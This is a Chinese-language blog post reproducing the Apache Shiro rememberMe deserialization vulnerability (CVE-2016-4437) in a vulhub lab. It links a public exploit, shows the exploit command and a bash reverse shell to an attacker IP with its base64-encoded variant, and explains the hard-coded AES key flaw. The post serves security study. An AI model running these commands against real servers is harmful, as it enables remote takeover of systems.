漏洞復現-CVE-2016-4437-Shiro反序列化

 
 

0x00 實驗環境

攻擊機:Win 10

靶機也可作爲攻擊機:Ubuntu18 (docker搭建的vulhub靶場)(兼顧反彈shell的攻擊機)

 

0x01 影響版本

Shiro <=1.2.24

 

0x02 入坑說明

(1)實驗首先需要自行到github上下載exp

地址:https://github.com/insightglacier/Shiro_exploit

(2)運行環境爲python3 ,需要將pip更新:python3 -m pip install --upgrade pip 並下載一些調用的庫:pycryptodome、Crypto、requests等庫

 

0x03 實驗步驟

(1)打開有漏洞的網頁,可以發現是一個登陸頁面:

 

(2)我們首先抓包試試,可以發現這是一個可能存在Shiro反序列化的網站

 

(3)此時我們可以直接使用網上的exp進行攻擊:

python3 shiro_exploit.py -t 3 -u http://肉雞IP:8080 -p "彈shell的一條命令"

 

(4)彈shell的命令可以直接先構造好,然後在以下網站進行編碼,這是因爲Linux的命令行有的時候無法識別一些符號的命令:

網址:http://www.jackson-t.ca/runtime-exec-payloads.html

 

bash -i >& /dev/tcp/你的攻擊機IP/2333 0>&1

(5)攻擊機監聽,然後在本機win10上運行payload:

python3 shiro_exploit.py -t 3 -u http://肉雞網址:8080 -p "bash -c {echo,YmIXXXXXXXXXXXXXXJjE=}|{base64,-d}|{bash,-i}"

 

 

 shell反彈成功!

 

0x05 實驗原理

參考原文:https://www.cnblogs.com/loong-hon/p/10619616.html

Shiro提供了記住我(RememberMe)的功能,關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問。

Shiro對rememberMe的cookie做了加密處理,shiro在CookieRememberMeManaer類中將cookie中rememberMe字段內容分別進行 序列化AES加密Base64編碼操作。

在識別身份的時候,需要對Cookie裏的rememberMe字段解密。根據加密的順序,不難知道解密的順序爲:

  • 獲取rememberMe cookie
  • base64 decode
  • 解密AES
  • 反序列化

但是,AES加密的密鑰Key被硬編碼在代碼裏,意味着每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者構造一個惡意的對象,並且對其序列化,AES加密,base64編碼後,作爲cookie的rememberMe字段發送。Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章